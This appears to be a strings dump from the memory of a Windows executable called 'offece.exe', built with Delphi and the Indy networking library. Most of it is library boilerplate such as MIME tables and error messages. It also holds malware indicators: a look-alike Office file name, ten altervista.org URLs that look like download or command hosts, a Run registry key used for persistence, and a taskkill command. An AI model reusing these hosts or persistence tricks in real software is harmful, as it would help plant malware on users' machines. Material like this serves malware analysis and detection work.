.texi=application/x-texinfo
.texinfo=application/x-texinfo
.tbz=application/x-bzip-compressed-tar
.tbz2=application/x-bzip-compressed-tar
.tgz=application/x-compressed-tar
.tlz=application/x-lzma-compressed-tar
.tr=application/x-troff
.trm=application/x-msterminal
.troff=application/x-troff
.tsp=application/dsptype
.torrent=application/x-bittorrent
.ttz=application/t-time
.txz=application/x-xz-compressed-tar
.udeb=application/x-debian-package
.uin=application/x-icq
.urls=application/x-url-list
.ustar=application/x-ustar
.vcd=application/x-cdlink
.vor=application/vnd.stardivision.writer
.vsl=application/x-cnet-vsl
.wcm=application/vnd.ms-works
.wb1=application/x-quattropro
.wb2=application/x-quattropro
.wb3=application/x-quattropro
.wdb=application/vnd.ms-works
.wks=application/vnd.ms-works
.wmd=application/x-ms-wmd
.wms=application/x-ms-wms
.wmz=application/x-ms-wmz
.wp5=application/wordperfect5.1
.wpd=application/wordperfect
.wpl=application/vnd.ms-wpl
.wps=application/vnd.ms-works
.wri=application/x-mswrite
.xfdf=application/vnd.adobe.xfdf
.xls=application/x-msexcel
.xlb=application/x-msexcel
.xpi=application/x-xpinstall
.xps=application/vnd.ms-xpsdocument
.xsd=application/vnd.sun.xml.draw
.xul=application/vnd.mozilla.xul xml
.zoo=application/x-zoo
.zip=application/x-zip-compressed
.wml=text/vnd.wap.wml
.wmlc=application/vnd.wap.wmlc
.wmls=text/vnd.wap.wmlscript
.wmlsc=application/vnd.wap.wmlscriptc
.asm=text/x-asm
.pas=text/x-pascal
.cs=text/x-csharp
.cpp=text/x-c  src
.cxx=text/x-c  src
.cc=text/x-c  src
.hpp=text/x-c  hdr
.hxx=text/x-c  hdr
.hh=text/x-c  hdr
.java=text/x-java
.css=text/css
.js=text/javascript
.htm=text/html
.html=text/html
.ls=text/javascript
.mocha=text/javascript
.shtml=server-parsed-html
.sgm=text/sgml
.sgml=text/sgml
C:\Builds\TP\indysockets\lib\protocols\IdGlobalProtocols.pas
HTTP-EQUIV
()<>@,;:\"./
()<>@,;:\"/[]?=
()<>@,;:\"/[]?={}
TIdEncoder3to4.Encode: Calculated length exceeded (expected
C:\Builds\TP\indysockets\lib\protocols\IdCoder3to4.pas
TIdEncoder3to4.Encode: Calculated length not met (expected
X-HTTP-Method-Override
Mozilla/3.0 (compatible; Indy Library)
%d-%d
C:\Builds\TP\indysockets\lib\core\IdIOHandler.pas
255.255.255.255
0.0.0.0
C:\Builds\TP\indysockets\lib\core\IdIOHandlerStack.pas
0.0.0.1
C:\Builds\TP\indysockets\lib\core\IdThread.pas
C:\Builds\TP\indysockets\lib\core\IdScheduler.pas
C:\Builds\TP\indysockets\lib\protocols\IdZLibCompressorBase.pas
*<>#%"{}|\^[]`
*<>#%"{}|\^[]` 
HTTPS
.local
HttpOnly
C:\Builds\TP\indysockets\lib\protocols\IdCookie.pas
HTTPONLY
$Port
COMMENTURL
PORT
WINDOWS
C:\Builds\TP\indysockets\lib\protocols\IdHeaderCoderIndy.pas
()[]<>:;.,@\"
Content-Disposition: form-data; name="%s"
; filename="%s"
Content-Type: %s
; charset="%s"
Content-Transfer-Encoding: %s
libeay32.dll
ssleay32.dll
libssl32.dll
C:\Builds\TP\indysockets\lib\protocols\IdSSLOpenSSLHeaders.pas
SSL_CTX_use_PrivateKey_file
SSL_CTX_use_PrivateKey
SSL_CTX_use_certificate
SSL_CTX_use_certificate_file
SSL_get_peer_certificate
SSL_CTX_set_default_passwd_cb
SSL_CTX_set_default_passwd_cb_userdata
SSL_CTX_check_private_key
X509_STORE_add_cert
X509_STORE_CTX_get_current_cert
i2d_DSAPrivateKey
d2i_DSAPrivateKey
d2i_PrivateKey
d2i_PrivateKey_bio
DES_set_key
_ossl_old_des_set_key
RSA_generate_key
RSA_check_key
RSA_generate_key_ex
i2d_PrivateKey_bio
i2d_RSAPrivateKey
d2i_RSAPrivateKey
i2d_RSAPublicKey
d2i_RSAPublicKey
i2d_PrivateKey
i2d_NETSCAPE_CERT_SEQUENCE
X509_get_default_cert_file
X509_get_default_cert_file_env
X509_set_pubkey
X509_REQ_set_pubkey
PEM_read_bio_RSAPrivateKey
PEM_read_bio_RSAPublicKey
PEM_read_bio_DSAPrivateKey
PEM_read_bio_PrivateKey
PEM_read_bio_NETSCAPE_CERT_SEQUENCE
PEM_write_bio_RSAPublicKey
PEM_write_bio_DSAPrivateKey
PEM_write_bio_PrivateKey
PEM_write_bio_NETSCAPE_CERT_SEQUENCE
PEM_write_bio_PKCS8PrivateKey
EVP_PKEY_type
EVP_PKEY_new
EVP_PKEY_free
EVP_PKEY_assign
C:\Builds\TP\indysockets\lib\protocols\IdSSLOpenSSL.pas
secur32.dll
security.dll
C:\Builds\TP\indysockets\lib\protocols\IdHTTP.pas
application/x-www-form-urlencoded
https
HTTP/1.0 200 OK
HTTP/
\StringFileInfo\0%x0%x\%s
http://mfox8.altervista.org/
http://host02.altervista.org/
http://host03.altervista.org/
http://host04.altervista.org/
http://host05.altervista.org/
http://host06.altervista.org/
http://host07.altervista.org/
http://host08.altervista.org/
http://host09.altervista.org/
http://host10.altervista.org/
offece.txt
taskkill /f /im "offece.exe"
cmd /c "
Software\Microsoft\Windows\CurrentVersion\Run
offece.exe
Kernel32.dll
Open SSL Support DLL Delphi and C  Builder interface
http://www.indyproject.org/
1993 - 2009
Handshake DonepUnsupported object type. You can assign only one of the following types or their descendants: TStrings, TStream.
Unsupported operation./Could not encode header data using charset "%s"
#Could not load key, check password.
SSL status: "%s"
%s Alert
%s Read Alert
%s Write Alert
Unknown error#SSPI %s returns error #%d(0x%x): %s0SSPI interface has failed to initialise properly
Unknown credentials use!Do AcquireCredentialsHandle first"CompleteAuthToken is not supported$Error accepting connection with SSL.
Error creating SSL context. Could not load root certificate.
Could not load certificate.
DThe supplied message is incomplete. The signature was not verified.lThe credentials supplied were not complete, and could not be verified. The context could not be initialized.1The buffers supplied to a function was too small.
The credentials supplied were not complete, and could not be verified. Additional information can be returned from the context.4The context data must be renegotiated with the peer.'The target principal name is incorrect.:There is no LSA mode context associated with this context.8The clocks on the client and server machines are skewed.;The certificate chain was issued by an untrusted authority.7The message received was unexpected or badly formatted.;An unknown error occurred while processing the certificate.%The received certificate has expired.*The specified data could not be encrypted.*The specified data could not be decrypted.YThe client and server cannot communicate, because they do not possess a common algorithm.
The security context could not be established due to a failure in the requested quality of service (e.g. mutual authentication or delegation).-The token supplied to the function is invalid^The security package is not able to marshall the logon buffer, so the logon attempt has failedNThe per-message Quality of Protection is not supported by the security package?The security context does not allow impersonation of the client
The logon attempt failed;The credentials supplied to the package were not recognized4No credentials are available in the security packageCThe message or signature supplied for verification has been altered8The message supplied for verification is out of sequence3No authority could be contacted for authentication.UThe function completed successfully, but must be called again to complete the contextEThe function completed successfully, but CompleteToken must be calledtThe function completed successfully, but both CompleteToken and this function must be called to complete the contextsThe logon was completed, but no network authority was available. The logon was made using locally known information-The requested security package does not exist2The context has expired and can no longer be used.
Unknown Protocol(Request method requires HTTP version 1.1KUnsupported hash algorithm. This implementation supports only MD5 encoding.
The handle specified is invalid'The function requested is not supported.The specified target is unknown or unreachable0The Local Security Authority cannot be contacted-The requested security package does not exist6The caller is not the owner of the desired credentialsBThe security package failed to initialize, and cannot be installed
Transparent proxy cannot bind. UDP Not supported by this proxy.$Buffer terminator must be specified.!Buffer start position is invalid.$Cannot change a connected IOHandler.%No IOHandler of type %s is installed.
Reply Code is not valid: %s
Reply Code already exists: %s
IOHandler value is not valid'Algorithm %s not permitted in FIPS mode
Command not supported.
Address type not supported."%d: Circular links are not allowed"Not enough data in buffer. (%d/%d)
File "%s" not found
Object type not supported.
End of stream: Class %s at %d)UDP is not support in this SOCKS version.
Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.
Stack already created.1Only one TIdAntiFreeze can exist per application.&Cannot change IPVersion when connected$Can not bind in port range (%d - %d)
Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.
Invalid Port Range (%d - %d)
%s is not a valid service.
%s is not a valid IPv6 address:The requested IPVersion / Address family is not supported.
Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.
Operation would block.
Operation now in progress.
Operation already in progress.
Socket operation on non-socket.
Protocol not supported.
Socket type not supported."Operation not supported on socket.
Protocol family not supported.0Address family not supported by protocol family.
- Dock zone has no controlLError loading dock zone from the stream. Expecting version %d, but found %d.4Failed attempting to retrieve time zone information.-Error on call to Winsock2 library function %s&Error on loading Winsock2 library (%s)
Resolving hostname %s.
Connecting to %s.
Socket Error # %d
Alt  Clipboard does not support Icons Operation not supported on selected printer.There is no default printer currently selected/Menu '%s' is already being used by another form
%s on %s@GroupIndex cannot be less than a previous menu item's GroupIndex5Cannot create form. No MDI forms are currently active*A control cannot have itself as its parent
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window$Parent given is not a parent of '%s'
No help found for context %d
No help found for %s
Unsupported clipboard format
Thread Error: %s (%d)-Cannot terminate an externally created thread,Cannot wait for an externally created thread2Cannot call Start on a running or suspended thread;Cannot call CheckTerminated on an externally created thread9Cannot call SetReturnValue on an externally create thread The specified file was not found$No help viewer that supports filters7String index out of range (%d). Must be >= 1 and <= %drHigh surrogate char without a following low surrogate char at index: %d. Check that the string is encoded properlyrLow surrogate char without a preceding high surrogate char at index: %d. Check that the string is encoded properly2Length of Strings and Objects arrays must be equal
Invalid Timeout value: %s#''%s'' is not a valid integer value
List index out of bounds (%d) Out of memory while expanding memory stream)%s has not been registered as a COM class
Error reading %s%s%s: %s
Failed to create key %s
Failed to get data for '%s'
Failed to set data for '%s'
Resource %s not found
%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group
Property %s does not exist
Thread creation error: %s
Class %s not found
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
Cannot create file "%s". %s
Cannot open file "%s". %s
Invalid file name - %s
Invalid stream format$''%s'' is not a valid component name
Invalid data type for '%s' List capacity out of bounds (%d)
List count out of bounds (%d)
Invalid destination array"Character index out of bounds (%d)
Start index out of bounds (%d)
Invalid count (%d)
Invalid destination index (%d)
Ancestor for '%s' not found
Cannot assign a %s to a %s
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
External exception %x
Interface not supported
Object lock not owned(Monitor support function not initialized
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
Invalid variant operation
Invalid NULL variant operation%Invalid variant operation (%s%.8x)
%s,Custom variant type (%s%.4x) is out of range/Custom variant type (%s%.4x) already used by %s*Custom variant type (%s%.4x) is not usable2Too many custom variant types have been registered5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Operation not supported
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Operation aborted(Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
'%d.%d' is not a valid timestamp
I/O error %d
Integer overflow Invalid floating point operation
1.0.0.0

offece.exe_1596_rwx_00401000_001A3000:


biClrImportant
tagMSG
Windows
HKEY
TWMKey
KeyData
etNoMonitorSupportException
TArray
ENoMonitorSupportException
TArray
TArray
csshiftjis
windows-936
windows-1250
windows-1251
windows-1252
windows-1253
windows-1254
windows-1255
windows-1256
windows-1257
windows-1258
windows-874
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
TArray
grfLocksSupported
Operator
EVariantBadIndexError
EVariantBadIndexError,VB
Uh.hB
ssShift
htKeyword
EInvalidOperation
EInvalidOperationX
TList.TDirection
AOperator
TThread.TSynchronizeRecord
TOperation
Operation
FOnExecute
OnExecuteL
TArray
TArray
TList.Sort$876$0$Intf@
TList.Sort$876$ActRec
$TComponent.FindComponent$1499$0$Intf@
$TComponent.FindComponent$1499$ActRec
TRegKeyInfo
NumSubKeys
MaxSubKeyLen
FCurrentKey
FRootKey
FCloseRootKey
CloseKey
CreateKey
DeleteKey
GetKeyInfo
GetKeyNames
HasSubKeys
KeyExists
LoadKey
MoveKey
OpenKey
OpenKeyReadOnly
ReplaceKey
RestoreKey
SaveKey
UnLoadKey
CurrentKey\
LastErrorMsgh
RootKey\
RootKeyName
EInvalidGraphicOperation
EInvalidGraphicOperation8
SupportsPartialTransparency
Monochrome
IsShortCut
FHelpKeyword
HelpKeyword
igoParentPassthrough
FAlwaysShowDragImages
AlwaysShowDragImages
toFlickFallbackKeys
'TCustomGestureEngine.TGestureEngineFlag
(TCustomGestureEngine.TGestureEngineFlags
Supported
TKeyEvent
TKeyPressEvent
FOnKeyDown
FOnKeyPress
FOnKeyUp
IsHintMsg
FNativeWheelSupport
FWheelSupportMessage
thHeaderItemLeftPressed
tsArrowBtnLeftPressed
ttbThumbLeftPressed
lrMonoChrome
FAutoHotkeys
RethinkHotkeys
AutoHotkeys
UnderstandsKeyword
poPortrait
APort
Port
ssHotTrack
TWindowState
poProportional
fsShowing
FWindowState
FKeyPreview
WantChildKey
KeyPreview
WindowState<
WindowStatex|H
OnKeyDown
OnKeyPress
OnKeyUp
FBiDiKeyboard
FNonBiDiKeyboard
FEnumAllWindowsOnActivateHint
FOnActionExecute
Keyword
EnumAllWindowsOnActivateHint\
BiDiKeyboard\
NonBiDiKeyboard
OnActionExecute
AMsg
EIdCanNotBindPortInRange
EIdInvalidPortRangeh
EIdInvalidPortRangeD
CheckIPVersionSupport
WSGetServByPort
APortNumber
VPort
IdStackWindows
TIdSocketListWindows4
TIdSocketListWindows
TIdStackWindowsg
ReceiveMsg
WSTranslateSocketErrorMsg
SupportsIPv6
TIdStackWindows
EIdIPVersionUnsupported
ReceiveMsg,
EIdPortRequired
EIdTCPConnectionError
EIdObjectTypeNotSupported
IPAsString
QuoteHTTP
Password
IdHTTPHeaderInfo
FPassword
FPort
ProxyPassword
ProxyPort\
Password\
FMetaHTTPEquiv
TIdMetaHTTPEquivE
ProcessMetaHTTPEquiv
TIdMetaHTTPEquiv
ftpTransfer
ftpReady
ftpAborted
Uh.MN
VMsgEnd
FClientPortMin
FClientPortMax
FPeerPort
ClientPortMin
ClientPortMax\
PeerPort
"EIdTransparentProxyUDPNotSupported
OpenUDP
CloseUDP
RecvFromUDP
SendToUDPm
FLastCmdResult
TIdTCPConnectionB
RaiseExceptionForLastCmdResult
SendCmd
SendCmdf
TIdTCPConnection
IdTCPConnection
LastCmdResult
FBoundPort
FBoundPortMax
FBoundPortMin
TIdTCPClientCustom'
TIdTCPClientCustom
IdTCPClient
BoundPort
BoundPortMax
BoundPortMin
TIdTCPClient
%EIdSocksUDPNotSupportedBySOCKSVersion
saUsernamePassword
FUDPSocksAssociation
SendToUDP9
FDefaultPort
DefaultPort
BoundPortMinL
fPassThrough
PassThrough
MakeFTPSvrPort
MakeFTPSvrPasv
FURL
URL|[O
CompressFTPDeflate
CompressFTPToIO
DecompressFTPFromIO
DecompressFTPDeflate
CompressHTTPDeflate
DecompressHTTPDeflate
URLDecode
URLEncode
Port\
FHttpOnly
HttpOnly\
FCommentURL
FPortList
FRecvPort
FUsePort
CommentURL
PortCount
UsePort
RecvPort
AURL
rsa_keygen
dsa_keygen
pub_key
priv_key
PEVP_PKEY
EVP_PKEY_union
EVP_PKEY
pkey
pkey_type
required_pkey_type
key_len
key_length
AUTHORITY_KEYID
keyid
PAUTHORITY_KEYID
X509_PUBKEY
public_key
PX509_PUBKEY
X509_CERT_AUX
PX509_CERT_AUX
cert_info
ex_nscert
get_cert_methods
cert_crl
ppem_password_cb
key_arg_length
key_arg
master_key_length
master_key
sess_cert
Ptlsext_ticket_key_cb!
cert_store
default_passwd_callback
default_passwd_callback_userdata
client_cert_cb
extra_certs
max_cert_list
cert
msg_callback
msg_callback_arg
client_cert_engine
tlsext_tick_key_name
tlsext_tick_hmac_key
tlsext_tick_aes_key
tlsext_ticket_key_cb
init_msg
read_key
write_key
key_material_length
key_material
tmp_cert_type
tmp_cert_length
tmp_cert_verify_md
tmp_cert_req
tmp_key_block_length
tmp_key_block
tmp_cert_request
msg_len
w_msg_hdr
r_msg_hdr
sslvrfFailIfNoPeerCert
TCallbackExEvent
TPasswordEvent
TPasswordEventEx
VPassword
Certificate
fsRootCertFile
fsCertFile
fsKeyFile
RootCertFile\
CertFile\
KeyFile
LoadRootCert
LoadCert
KeyFile0
fPeerCert
PeerCert
fOnGetPassword
fOnGetPasswordEx
OnGetPassword<
OnGetPasswordEx
EIdOSSLLoadingRootCertError
EIdOSSLLoadingCertErrorx
EIdOSSLLoadingCertErrorP
EIdOSSLLoadingKeyError
SEC_GET_KEY_FN
KeyVer
pGetKeyFn
pvGetKeyArgument
EXPORT_SECURITY_CONTEXT_FN&
IMPORT_SECURITY_CONTEXT_FN_W(
ExportSecurityContext
ImportSecurityContextW
aPassword
Urix%C
TIdHTTPConnectionType
IdHTTP
TIdHTTPOption
TIdHTTPOptions
TIdHTTPProtocolVersion
TIdHTTPOnRedirectEvent
TIdHTTPOnHeadersAvailable
FHTTP
TIdHTTPResponse7
TIdHTTPResponse
TIdHTTPRequest5
AHTTP
TIdHTTPRequest<
TIdHTTPProtocol;
TIdHTTPProtocol
FHTTPProto
TIdCustomHTTP'
TIdCustomHTTP8
MetaHTTPEquiv(rO
HTTPOptions@
TIdHTTP
EIdHTTPProtocolExceptionn
EIdHTTPProtocolException
Generics.Defaults
Generics.Collections
IdTCPServer
IdCustomTCPServer
UrlMon
#!V!W!"!&!r%!%#%%%'%)%c%e%g%C%
P%S%V%Y%\%
?456789:;<=
!"#$%&'()* ,-./0123
user32.dll
kernel32.dll
uxtheme.dll
DWMAPI.DLL
KWindows
CGenerics.Defaults
0IdHTTPHeaderInfo
 IdTCPServer
Font.Charset
Font.Color
Font.Height
Font.Name
Font.Style
GetCPInfoExW
GetCPInfo
RegOpenKeyExW
RegCloseKey
RegUnLoadKeyW
RegSaveKeyW
RegRestoreKeyW
RegReplaceKeyW
RegQueryInfoKeyW
RegLoadKeyW
RegFlushKey
RegEnumKeyExW
RegDeleteKeyW
RegCreateKeyExW
SetViewportOrgEx
ShellExecuteW
UnhookWindowsHookEx
SetWindowsHookExW
MsgWaitForMultipleObjectsEx
MsgWaitForMultipleObjects
MapVirtualKeyW
LoadKeyboardLayoutW
GetKeyboardState
GetKeyboardLayoutNameW
GetKeyboardLayoutList
GetKeyboardLayout
GetKeyState
GetKeyNameTextW
EnumWindows
EnumThreadWindows
EnumChildWindows
ActivateKeyboardLayout
.text
`.itext
`.data
.idata
.didata
.rdata
@.reloc
B.rsrc
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
C:\Builds\TP\rtl\sys\SysUtils.pas
%s-%s
oleaut32.dll
C:\Builds\TP\rtl\common\TypInfo.pas
%s[%d]
%s_%d
.Owner
C:\Builds\TP\rtl\common\Classes.pas
ole32.dll
C:\Builds\TP\rtl\common\SyncObjs.pas
\\?\UNC\
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_CURRENT_CONFIG
HKEY_DYN_DATA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes
crSQLWait
%s (%s)
imm32.dll
comctl32.dll
\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\
clWebSnow
clWebFloralWhite
clWebLavenderBlush
clWebOldLace
clWebIvory
clWebCornSilk
clWebBeige
clWebAntiqueWhite
clWebWheat
clWebAliceBlue
clWebGhostWhite
clWebLavender
clWebSeashell
clWebLightYellow
clWebPapayaWhip
clWebNavajoWhite
clWebMoccasin
clWebBurlywood
clWebAzure
clWebMintcream
clWebHoneydew
clWebLinen
clWebLemonChiffon
clWebBlanchedAlmond
clWebBisque
clWebPeachPuff
clWebTan
clWebYellow
clWebDarkOrange
clWebRed
clWebDarkRed
clWebMaroon
clWebIndianRed
clWebSalmon
clWebCoral
clWebGold
clWebTomato
clWebCrimson
clWebBrown
clWebChocolate
clWebSandyBrown
clWebLightSalmon
clWebLightCoral
clWebOrange
clWebOrangeRed
clWebFirebrick
clWebSaddleBrown
clWebSienna
clWebPeru
clWebDarkSalmon
clWebRosyBrown
clWebPaleGoldenrod
clWebLightGoldenrodYellow
clWebOlive
clWebForestGreen
clWebGreenYellow
clWebChartreuse
clWebLightGreen
clWebAquamarine
clWebSeaGreen
clWebGoldenRod
clWebKhaki
clWebOliveDrab
clWebGreen
clWebYellowGreen
clWebLawnGreen
clWebPaleGreen
clWebMediumAquamarine
clWebMediumSeaGreen
clWebDarkGoldenRod
clWebDarkKhaki
clWebDarkOliveGreen
clWebDarkgreen
clWebLimeGreen
clWebLime
clWebSpringGreen
clWebMediumSpringGreen
clWebDarkSeaGreen
clWebLightSeaGreen
clWebPaleTurquoise
clWebLightCyan
clWebLightBlue
clWebLightSkyBlue
clWebCornFlowerBlue
clWebDarkBlue
clWebIndigo
clWebMediumTurquoise
clWebTurquoise
clWebCyan
clWebPowderBlue
clWebSkyBlue
clWebRoyalBlue
clWebMediumBlue
clWebMidnightBlue
clWebDarkTurquoise
clWebCadetBlue
clWebDarkCyan
clWebTeal
clWebDeepskyBlue
clWebDodgerBlue
clWebBlue
clWebNavy
clWebDarkViolet
clWebDarkOrchid
clWebMagenta
clWebDarkMagenta
clWebMediumVioletRed
clWebPaleVioletRed
clWebBlueViolet
clWebMediumOrchid
clWebMediumPurple
clWebPurple
clWebDeepPink
clWebLightPink
clWebViolet
clWebOrchid
clWebPlum
clWebThistle
clWebHotPink
clWebPink
clWebLightSteelBlue
clWebMediumSlateBlue
clWebLightSlateGray
clWebWhite
clWebLightgrey
clWebGray
clWebSteelBlue
clWebSlateBlue
clWebSlateGray
clWebWhiteSmoke
clWebSilver
clWebDimGray
clWebMistyRose
clWebDarkSlateBlue
clWebDarkSlategray
clWebGainsboro
clWebDarkGray
clWebBlack
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
C:\Builds\TP\indysockets\lib\system\IdStreamVCL.pas
C:\Builds\TP\indysockets\lib\system\IdGlobal.pas
%s, %.2d %s %.4d %s %s
%s, %.2d-%s-%.2d %s %s
WS2_32.DLL
getservbyport
WSAAsyncGetServByPort
WSAJoinLeaf
MSWSOCK.DLL
WSARecvMsg
WSASendMsg
Wship6.dll
Fwpuclnt.dll
127.0.0.1
C:\Builds\TP\indysockets\lib\system\IdStack.pas
ISO_646.irv:1991
ISO_646.basic:1983
ISO_646.irv:1983
csISO16Portuguese
csISO84Portuguese2
csShiftJIS
ISO-8859-1-Windows-3.0-Latin-1
csWindows30Latin1
ISO-8859-1-Windows-3.1-Latin-1
csWindows31Latin1
ISO-8859-2-Windows-Latin-2
csWindows31Latin2
ISO-8859-9-Windows-Latin-5
csWindows31Latin5
csMicrosoftPublishing
Windows-31J
csWindows31J
PTCP154
csPTCP154
10.5.7
.nml=animation/narrative
.aac=audio/mp4
.aif=audio/x-aiff
.aifc=audio/x-aiff
.aiff=audio/x-aiff
.au=audio/basic
.gsm=audio/x-gsm
.kar=audio/midi
.m3u=audio/mpegurl
.mid=audio/midi
.midi=audio/midi
.mpega=audio/x-mpg
.mp2=audio/x-mpg
.mp3=audio/x-mpg
.mpga=audio/x-mpg
.m3u=audio/x-mpegurl
.pls=audio/x-scpls
.qcp=audio/vnd.qcelp
.ra=audio/x-realaudio
.ram=audio/x-pn-realaudio
.rm=audio/x-pn-realaudio
.sd2=audio/x-sd2
.sid=audio/prs.sid
.snd=audio/basic
.wav=audio/x-wav
.wax=audio/x-ms-wax
.wma=audio/x-ms-wma
.mjf=audio/x-vnd.AudioExplosion.MjuiceMediaFile
.art=image/x-jg
.bmp=image/bmp
.cdr=image/x-coreldraw
.cdt=image/x-coreldrawtemplate
.cpt=image/x-corelphotopaint
.djv=image/vnd.djvu
.djvu=image/vnd.djvu
.gif=image/gif
.ief=image/ief
.ico=image/x-icon
.jng=image/x-jng
.jpg=image/jpeg
.jpeg=image/jpeg
.jpe=image/jpeg
.pat=image/x-coreldrawpattern
.pcx=image/pcx
.pbm=image/x-portable-bitmap
.pgm=image/x-portable-graymap
.pict=image/x-pict
.png=image/x-png
.pnm=image/x-portable-anymap
.pntg=image/x-macpaint
.ppm=image/x-portable-pixmap
.psd=image/x-psd
.qtif=image/x-quicktime
.ras=image/x-cmu-raster
.rf=image/vnd.rn-realflash
.rgb=image/x-rgb
.rp=image/vnd.rn-realpix
.sgi=image/x-sgi
.svg=image/svg-xml
.svgz=image/svg-xml
.targa=image/x-targa
.tif=image/x-tiff
.wbmp=image/vnd.wap.wbmp
.xbm=image/xbm
.xbm=image/x-xbitmap
.xpm=image/x-xpixmap
.xwd=image/x-xwindowdump
.xml=text/xml
.uls=text/iuls
.txt=text/plain
.rtx=text/richtext
.wsc=text/scriptlet
.rt=text/vnd.rn-realtext
.htt=text/webviewhtml
.htc=text/x-component
.vcf=text/x-vcard
.asf=video/x-ms-asf
.asx=video/x-ms-asf
.avi=video/x-msvideo
.dl=video/dl
.dv=video/dv
.flc=video/flc
.fli=video/fli
.gl=video/gl
.lsf=video/x-la-asf
.lsx=video/x-la-asf
.mng=video/x-mng
.mp2=video/mpeg
.mp3=video/mpeg
.mp4=video/mpeg
.mpeg=video/x-mpeg2a
.mpa=video/mpeg
.mpe=video/mpeg
.mpg=video/mpeg
.moov=video/quicktime
.mov=video/quicktime
.mxu=video/vnd.mpegurl
.qt=video/quicktime
.qtc=video/x-qtc
.rv=video/vnd.rn-realvideo
.ivf=video/x-ivf
.wm=video/x-ms-wm
.wmp=video/x-ms-wmp
.wmv=video/x-ms-wmv
.wmx=video/x-ms-wmx
.wvx=video/x-ms-wvx
.rms=video/vnd.rn-realvideo-secure
.asx=video/x-ms-asf-plugin
.movie=video/x-sgi-movie
.aab=application/x-authorware-bin
.aam=application/x-authorware-map
.aas=application/x-authorware-seg
.abw=application/x-abiword
.ace=application/x-ace-compressed
.ai=application/postscript
.alz=application/x-alz-compressed
.ani=application/x-navi-animation
.arj=application/x-arj
.asf=application/vnd.ms-asf
.bat=application/x-msdos-program
.bcpio=application/x-bcpio
.boz=application/x-bzip2
.bz=application/x-bzip
.bz2=application/x-bzip2
.cab=application/vnd.ms-cab-compressed
.cat=application/vnd.ms-pki.seccat
.ccn=application/x-cnc
.cco=application/x-cocoa
.cdf=application/x-cdf
.cer=application/x-x509-ca-cert
.chm=application/vnd.ms-htmlhelp
.chrt=application/vnd.kde.kchart
.cil=application/vnd.ms-artgalry
.class=application/java-vm
.com=application/x-msdos-program
.clp=application/x-msclip
.cpio=application/x-cpio
.cpt=application/mac-compactpro
.cqk=application/x-calquick
.crd=application/x-mscardfile
.crl=application/pkix-crl
.csh=application/x-csh
.dar=application/x-dar
.dbf=application/x-dbase
.dcr=application/x-director
.deb=application/x-debian-package
.dir=application/x-director
.dist=vnd.apple.installer xml
.distz=vnd.apple.installer xml
.dll=application/x-msdos-program
.dmg=application/x-apple-diskimage
.doc=application/msword
.dot=application/msword
.dvi=application/x-dvi
.dxr=application/x-director
.ebk=application/x-expandedbook
.eps=application/postscript
.evy=application/envoy
.exe=application/x-msdos-program
.fdf=application/vnd.fdf
.fif=application/fractals
.flm=application/vnd.kde.kivio
.fml=application/x-file-mirror-list
.gzip=application/x-gzip
.gnumeric=application/x-gnumeric
.gtar=application/x-gtar
.gz=application/x-gzip
.hdf=application/x-hdf
.hlp=application/winhlp
.hpf=application/x-icq-hpf
.hqx=application/mac-binhex40
.hta=application/hta
.ims=application/vnd.ms-ims
.ins=application/x-internet-signup
.iii=application/x-iphone
.iso=application/x-iso9660-image
.jar=application/java-archive
.karbon=application/vnd.kde.karbon
.kfo=application/vnd.kde.kformula
.kon=application/vnd.kde.kontour
.kpr=application/vnd.kde.kpresenter
.kpt=application/vnd.kde.kpresenter
.kwd=application/vnd.kde.kword
.kwt=application/vnd.kde.kword
.latex=application/x-latex
.lha=application/x-lzh
.lcc=application/fastman
.lrm=application/vnd.ms-lrm
.lz=application/x-lzip
.lzh=application/x-lzh
.lzma=application/x-lzma
.lzo=application/x-lzop
.lzx=application/x-lzx
.mpp=application/vnd.ms-project
.mvb=application/x-msmediaview
.man=application/x-troff-man
.mdb=application/x-msaccess
.me=application/x-troff-me
.ms=application/x-troff-ms
.msi=application/x-msi
.mpkg=vnd.apple.installer xml
.mny=application/x-msmoney
.nix=application/x-mix-transfer
.oda=application/oda
.odb=application/vnd.oasis.opendocument.database
.odc=application/vnd.oasis.opendocument.chart
.odf=application/vnd.oasis.opendocument.formula
.odg=application/vnd.oasis.opendocument.graphics
.odi=application/vnd.oasis.opendocument.image
.odm=application/vnd.oasis.opendocument.text-master
.odp=application/vnd.oasis.opendocument.presentation
.ods=application/vnd.oasis.opendocument.spreadsheet
.ogg=application/ogg
.odt=application/vnd.oasis.opendocument.text
.otg=application/vnd.oasis.opendocument.graphics-template
.oth=application/vnd.oasis.opendocument.text-web
.otp=application/vnd.oasis.opendocument.presentation-template
.ots=application/vnd.oasis.opendocument.spreadsheet-template
.ott=application/vnd.oasis.opendocument.text-template
.p7b=application/x-pkcs7-certificates
.p7r=application/x-pkcs7-certreqresp
.package=application/vnd.autopackage
.pfr=application/font-tdpfr
.pkg=vnd.apple.installer xml
.pdf=application/pdf
.pko=application/vnd.ms-pki.pko
.pl=application/x-perl
.pnq=application/x-icq-pnq
.pot=application/mspowerpoint
.pps=application/mspowerpoint
.ppt=application/mspowerpoint
.ppz=application/mspowerpoint
.ps=application/postscript
.pub=application/x-mspublisher
.qpw=application/x-quattropro
.qtl=application/x-quicktimeplayer
.rar=application/rar
